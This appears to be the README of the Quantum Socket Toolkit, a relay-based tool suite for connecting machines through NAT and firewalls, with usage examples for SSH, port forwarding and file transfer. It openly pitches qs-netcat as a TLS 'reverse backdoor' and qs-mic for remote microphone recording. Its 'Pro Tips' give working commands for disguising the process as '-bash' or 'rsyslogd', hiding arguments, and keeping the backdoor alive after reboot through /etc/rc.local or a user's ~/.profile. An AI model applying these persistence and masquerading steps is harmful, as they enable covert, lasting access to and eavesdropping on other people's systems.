The Quantum Socket Toolkit allows two system behind NAT/Firewall to establish a TCP/TLS connection with each other.

The qsocket library locally derives a universally unique identifier (UUID) and connects two devices through the Quantum Socket Relay Network (QSRN) regardless and independent of the network layers, local IP Address or geographical location. The entire qsocket project is ported from the original gsocket toolkit of THC.

So why did you reinvent the wheel? Simply because we wanted our own wheel :) Due to several design choices of THC and the nature of the project we were not comfortable using the GSRN for our own business. So we decided to create our own version to our own liking. We also wanted to modernize the project by porting it to Go/Rust, add new features, more platform support, and scalability.

The Quantum Socket Toolkit comes with a set of tools:

• qs-netcat - Netcat on steroids. Turn netcat into an TLS encrypted reverse backdoor via TOR (optional) with a true PTY/interactive command shell (qs-netcat -s MySecret -i), integrated file-transfer, redirect traffic or give somebody temporary shell access.
• qs-mic - Access (record audio) the microphone devices of a remote system. (qs-mic -s MySecret -d 10)
• qs-proxy - Redirects the traffic of an existing program (binary) over the QSRN. It does so by hooking fundamental socket libraries inside libc using LD_PRELOAD method. (Experimental)
• ...many more examples and tools.
• qs-lite - Lightweight version of qs-netcat utility written in pure Rust (no external dependency).

Docker Install

docker pull qsocket/qs-netcat
docker run -it qsocket/qs-netcat -h

Qsocket toolkit supports 12 platforms on 11 architecture, check Supported Platforms below for detailed table.

Usage:

• SSH from Workstation B to Workstation A through any firewall/NAT

$ qs-netcat -f "localhost:22" -l  # Workstation A
$ qs-proxy ssh root@qsocket        # Workstation B

• Log in to Workstation A from Workstation B through any firewall/NAT

$ qs-netcat -l -i   # Workstation A
$ qs-netcat -i      # Workstation B

• Transfer files from Workstation B to Workstation A

$ qs-netcat -q -s MySecret -l > file.txt     # Workstation A
$ qs-netcat -q -s MySecret < file.txt        # Workstation B

• Port forward. Access 192.168.6.7:22 on Workstation's A private LAN from Workstation B:

$ qs-netcat -l -f 192.168.6.7:22    # Workstation A
$ qs-netcat -f :2222                # Workstation B

• In a new terminal on Workstation B execute:

ssh -p 2222 [email protected]        # Will ssh to 192.168.6.7:22 on Workstation's A private LAN

• Execute any command (nc -e style) on Workstation A

$ qs-netcat -l -e "echo hello world; id; exit"   # Workstation A
$ qs-netcat                                      # Workstation B

Another example: Spawn a new docker environment deep inside a private network

# Start this on a host deep inside a private network
qs-netcat -il -e "docker run --rm -it kalilinux/kali-rolling"

Access the docker environment deep inside the private network from anywhere in the world:

qs-netcat -i

Listen in on a remote computer microphone for 10 seconds

$ qs-mic -l -s MySecret           # Workstation A
$ qs-mic -d 10 -s MySecret --play # Workstation B

Access entirety of Workstation A's private LAN (Sock4/4a/5 proxy)

$ qs-netcat -l -f :22 -s MySecret                                        # Workstation A
$ ssh -D 9090 -o ProxyCommand='qs-netcat -s MySecret' root@doesnotmatter # Workstation B

Access www.google.com via Workstation A's private LAN from your Workstation B:
$ curl --socks4a 127.1:9090 http://www.google.com

Mount a remote folder using sshfs and qs-netcat

$ qs-netcat -l -f :22 -s MySecret # Workstation A
$ qs-netcat -f :9090 -s MySecret  # Workstation B
$ sudo sshfs -o allow_other,default_permissions -p 9090 root@localhost:/remote_dir /mnt/local_dir # Workstation B

Pro Tips

• Hide your arguments (argv)

Pass the arguments by environment variable (QS_ARGS) and use a bash-trick to hide qs-netcat binary in the process list:

$ export QS_ARGS="-s MySecret -l -i -q"
$ exec -a -bash ./qs-netcat &     # Hide as '-bash'.
$ ps alxww | grep qs-netcat

$ ps alxww | grep -bash
  1001 47255     1   0  26  5  4281168    436 -      SNs    ??    0:00.00 -bash

• SSH login to remote workstation

# On the remote workstation execute:
qs-netcat -s MySecret -l -f 192.168.6.7:22

or

# Access 192.168.6.7 via ssh on the remote network from your workstation:
ssh -o ProxyCommand='qs-netcat -q -s MySecret' root@doesnotmatter

• Retain access after reboot The easiest way to retain access to a remote system is by using the automated deploy script. Alternatively the following can be used to achieve the same: Combine what you have learned so far and make your backdoor restart after reboot (and as a hidden service obfuscated as rsyslogd). Use any of the start-up scripts, such as /etc/rc.local:

$ cat /etc/rc.local
#! /bin/sh -e

QS_ARGS="-s MySecret -l -i -q" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/qs-netcat"

exit 0

Not all environment variables are set during system bootup. Set some variables to make the backdoor more enjoyable: TERM=xterm-256color and SHELL=/bin/bash and HOME=/root. The startup script (/etc/rc.local) uses /bin/sh which does not support our exec -a trick. Thus we use /bin/sh to start /bin/bash which in turn does the exec -a trick and starts qs-netcat. Puh. The qs-netcat process is hidden (as rsyslogd) from the process list. Read how to enable rc.local if /etc/rc.local does not exist.

Alternatively install qs-netcat as a systemd service.

Alternativly and if you do not have root privileges then just append the following line to the user's ~/.profile file. This will start qs-netcat (if it is not already running) the next time the user logs in. There are many other ways to restart a reverse shell after system reboot:

killall -0 qs-netcat 2>/dev/null || (QS_ARGS="-s MySecret -l -i -q" SHELL=/bin/bash exec -a -bash /usr/local/bin/qs-netcat)

Crypto / Security Mumble Jumble

• The connections are end-2-end encrypted. This means from User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users.
• The QSocket uses SRP for ensuring perfect forward secrecy. This means that the session keys are always different, and recorded session traffic cannot be decrypted by the third parties even if the user secret is known.
• The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password).
• A brute force attack against weak secrets requires a new TCP connection for every guess. But QSRN contains a strong load balancer which is limiting the consecutive connection attempts.
• Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use qs-netcat -g to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
• If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
• Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice.
• We did not invent SRP. It's a well-known protocol, and it is well-analyzed and trusted by the community.

If gs-netcat is a germanic battle axe... than qs-netcat is a turkish döner knife ᕕ(⌐■_■)ᕗ ♪♬